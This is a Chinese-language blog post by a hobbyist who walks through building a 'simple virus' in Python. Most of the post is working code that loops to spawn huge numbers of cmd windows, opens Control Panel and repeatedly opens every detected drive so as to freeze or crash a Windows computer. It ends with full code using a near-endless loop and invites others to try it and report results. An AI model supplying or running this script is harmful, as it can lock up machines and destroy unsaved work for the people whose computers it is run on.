Python制作简易病毒(最简单的那种)
Life is short,you need python!
人生苦短,我用Python。我是一个普通的Python程序员。今天,一个朋友让我做一个病毒,不过,我想各位一定也想看我做病毒(以及电脑崩溃 )。
不过我要警告大家,在自己或他人的电脑上做实验造成的损失,我不负责。
话不多说,上代码。
OS库可以让我们的代码拥有调用电脑的功能。OS库属于默认库,所以我们不需要下载。
import os
os.system("start cmd")#打开cmd
这两行就是我们病毒的最核心的代码。
有人可能会问:“开个cmd有什么危险的呢?”
一个cmd没什么威胁,那几百个,几千个呢?
没错,我们要加上循环。
import os
for i in range(0,10000):#重复10000次
os.system("start cmd")#打开cmd
觉得自己是个狠人的把第2行换成while True:
不过循环时只开cmd是不够的,我们还要有控制面板
import os
os.system("control panel")
对了,我们文件夹也不能落下,文件夹也能卡死你。首先我们要知道电脑有一个磁盘(开磁盘时最卡)
import os#导入OS库
num=0 #num是磁盘数量
lis=["A","B","C","D",'E','F','G','H',"I","J","K","L",'M','N','O','P',"Q","R","S","T",'U','V','W','X',"Y","Z"]
#制作字母表来开文件夹,打开磁盘
for i in lis:#重复执行,第一次i是A,第二次i是B···
try:#看看行不行,在try和except之间报错的话执行except后面的内容
os.startfile(i+":")#第一次打开A:,第二次打开B: 如果你没有对应磁盘,执行except后的内容
num=num+1#如果打开成功,说明又有一个磁盘存在,num增加1,表示电脑目前有num个磁盘已知
except:
pass#不执行任何操作
print(num)#输出磁盘数量
如果有大神愿意用ASCII表来打开,则可以省很多时间,但我不会。实验效果:
我这里用的是pycharm,输出结果在左侧的圈上,我有两个磁盘(C:和D:)
接下来,我们就要尝试重复打开磁盘。各位大神可以自行处理,我打算就把刚刚的内容改一改。
import os#导入OS库
lis=["A","B","C","D",'E','F','G','H',"I","J","K","L",'M','N','O','P',"Q","R","S","T",'U','V','W','X',"Y","Z"]
#制作字母表来开文件夹,打开磁盘
for i in range(1,100):
for i in lis:#重复执行,第一次i是A,第二次i是B···
try:#看看行不行,在try和except之间报错的话执行except后面的内容
os.startfile(i+":")#第一次打开A:,第二次打开B: 如果你没有对应磁盘,执行except后的内容
except:
pass#不执行任何操作
不过我们运行之后文件夹不会重复打开。这是因为Windows11不会将一个文件夹打开多次,而且这样还会影响cmd和控制面板打开。我把程序改了一下,这样就不会出现打不开的情况了。
import os#导入OS库
li=[]
lis=["A","B","C","D",'E','F','G','H',"I","J","K","L",'M','N','O','P',"Q","R","S","T",'U','V','W','X',"Y","Z"]
#制作字母表来开文件夹,打开磁盘
for i in lis:#重复执行,第一次i是A,第二次i是B···
try:#看看行不行,在try和except之间报错的话执行except后面的内容
os.startfile(i+":")#第一次打开A:,第二次打开B: 如果你没有对应磁盘,执行except后的内容
li.append(i+':')
except:
pass#不执行任何操作
for e in range(10):
for j in li:
os.startfile(j)
os.system("start cmd")
这样的话在Windows11里不会影响cmd,但文件夹还是打开一次。Windows10的结果等着各位告诉我。
接下来,上全代码:
import os#导入OS库
li=[]
lis=["A","B","C","D",'E','F','G','H',"I","J","K","L",'M','N','O','P',"Q","R","S","T",'U','V','W','X',"Y","Z"]
#制作字母表来开文件夹,打开磁盘
for i in lis:#重复执行,第一次i是A,第二次i是B···
try:#看看行不行,在try和except之间报错的话执行except后面的内容
os.startfile(i+":")#第一次打开A:,第二次打开B: 如果你没有对应磁盘,执行except后的内容
li.append(i+':')
except:
pass#不执行任何操作
for e in range(10000000000000000000000000000000000000):
for j in li:
os.startfile(j)
os.system("start cmd")
os.system("control panel")
有更好建议的可以给我提提建议。我是PythonUser10235。